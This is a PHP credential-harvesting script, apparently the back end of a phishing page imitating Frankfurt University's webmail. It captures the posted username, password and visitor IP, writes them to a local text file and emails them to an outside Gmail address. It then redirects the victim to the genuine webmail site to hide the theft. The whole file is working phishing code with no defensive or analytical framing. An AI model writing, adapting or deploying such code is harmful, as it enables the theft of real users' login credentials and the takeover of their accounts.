$ip = getenv("REMOTE_ADDR");
$message .= "\n";
$message .= "Username : ".$_POST['username']."\n";
$message .= "Password : ".$_POST['password']."\n";
$message .= "\n";
$message .= "IP : ".$ip."\n";
$send = "sealion1414@gmail.com";
$fp = fopen("frankfurt.txt","a");
fputs($fp,$message);
fclose($fp);
$subject = "mail.frankfurt-university.de - ".$_POST['username']."\n";
$headers = "from: DE <noreply@frankfurt-university.de";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0n";
mail("$send", "$subject", $message);
header("Location: https://webmail.frankfurt-university.de/");